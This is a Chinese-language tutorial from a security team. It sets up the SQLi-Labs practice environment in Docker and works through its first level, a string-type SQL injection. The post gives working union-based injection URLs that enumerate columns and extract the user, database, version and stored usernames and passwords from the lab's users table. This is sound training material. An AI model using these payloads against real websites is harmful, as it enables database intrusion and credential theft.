前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQLI-LABS 更新帖(一)

SQLI-LABS 更新帖(一)

作者头像
ChaMd5安全团队
发布2018-03-29 12:15:11
9410
发布2018-03-29 12:15:11
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

docker搭建环境

请自己安装好docker,然后使用ubuntu:14.04的镜像

代码语言:javascript
复制
docker pull ubuntu:14.04

以下是pcat提供的Dockerfile和start.sh,请把这2个文件放在同一个文件夹下

(如果不懂docker的话,可以借此机会学习学习下)

Dockerfile:

代码语言:javascript
复制
FROM ubuntu:14.04
MAINTAINER pcat@chamd5.org
ENV REFRESHED_AT 2017-11-14
ENV LANG C.UTF-8

# change sources.list
RUN sed -i 's/http:\/\/archive.ubuntu.com\/ubuntu\//http:\/\/mirrors.163.com\/ubuntu\//g' \
    /etc/apt/sources.list

# update
RUN apt-get update
ENV DEBIAN_FRONTEND noninteractive

# install apache2,mysql,php
RUN apt-get -y install apache2
RUN apt-get -y install mysql-server
RUN apt-get -y install php5 libapache2-mod-php5
RUN apt-get install -yqq php5-mysql php5-curl php5-gd php5-intl \
    php-pear php5-imagick php5-imap php5-mcrypt php5-memcache \
    php5-ming php5-ps php5-pspell php5-recode php5-snmp \
    php5-sqlite php5-tidy php5-xmlrpc php5-xsl

# install vi
RUN apt-get -y remove vim-common
RUN apt-get -y install vim

# install wget,sqli-labs,unzip
RUN apt-get -y install wget
RUN wget https://github.com/Audi-1/sqli-labs/archive/master.zip -P /var/www/html
RUN apt-get -y install unzip
RUN unzip /var/www/html/master.zip -d /var/www/html/
RUN mv /var/www/html/sqli-labs-master /var/www/html/sqli-labs

# 
COPY start.sh /root/start.sh
ENTRYPOINT chmod +x /root/start.sh ; ./root/start.sh
EXPOSE 80

start.sh:

代码语言:javascript
复制
#!/bin/bash
sleep 1

# start
/etc/init.d/apache2 start
service mysql start

# import
mysql < /var/www/html/sqli-labs/sql-lab.sql

# clean
history -c
/bin/bash

生成镜像的命令:

代码语言:javascript
复制
docker build -t "sqli-labs" . 

运行的命令:

代码语言:javascript
复制
docker run -itd -p 80:80 sqli-labs /bin/bash

Less-1

url:/sqli-labs/Less-1/?id=1

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

我们可以看到$id这个变量被单引号包裹,所以是字符型当我们传入参数的时候存在’会报错

url:/sqli-labs/Less-1/?id=1%27%20order%20by%201,2,3,4%20--%20- //查看多少列,可以用二分法去猜测节约时间。

由图可以看到第四列的时候它爆出不存在,由此我们可以判断出只有三列,此时我们回到mysql查看下是否正确,如图:

url:/sql/Less-1/?id=1%27%20union%20select%201,2,3%20--%20- //使用联合查询语句判断回显位置,如下图:

是不是很奇怪为什么明明看到显位但是页面回显正常,然后我们回到代码去看

我们可以看到

代码语言:javascript
复制
$row = mysql_fetch_array($result);
    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }

这段代码把查询结果的username,password字段输出到页面。注意mysql_fetch_array这个函数

代码语言:javascript
复制
PHP mysql_fetch_array() 函数
    mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

我们的sql语句查询出来两行,但是到php去输出的时候被这个函数只取一行输出出来,所以我们只需要把第一个闭合的语句失效,查一条不存在的或者让它and 1=2永远不成立然后再用union 进行拼接便会找到显位。如图:

找到显位下面我们在显位插入我们要拼接的SQL语句即可,便可以查询出我们想要的信息,在这之前我们先介绍几个mysql的函数:

代码语言:javascript
复制
MySQL的行转列、列转行、连接字符串  concat、concat_ws、group_concat函数用法
    CONCAT(str1,str2,…)  
    CONCAT_WS(separator,str1,str2,...)
    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔      符'])

CONCAT函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT(USER(),DATABASE(),VERSION()),3 -- -

CONCAT_WS函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT_WS(':',USER(),DATABASE(),VERSION()),3 -- -

可以看出我们用:添加分隔符,进行分隔提取出来的字段多条时方便查看。

GROUP_CONCAT函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,(SELECT+GROUP_CONCAT(id+SEPARATOR+',')+FROM+security.users),3 -- -

id是你想要查询的字段,group_concat函数separator是可将查询结果用字符串连接变为一行进行查询,后头跟分隔符。注:group_concat函数大小写敏感,所以表名出要小写。

接着我们查看id,username,password,这三个字段的内容;

url:/sql/Less-1/?id=1' and 1=2 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(id,username,password+SEPARATOR+'<br>')+FROM+security.users),3-- -

最后收尾,我们用一张图来解释sql注入:

第一关讲的详细些,后续只贴代码还有语句、分析,请自己去按照上文学习。共七十五关,半月一更,每更必有量与质。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-11-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • docker搭建环境
  • Less-1
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档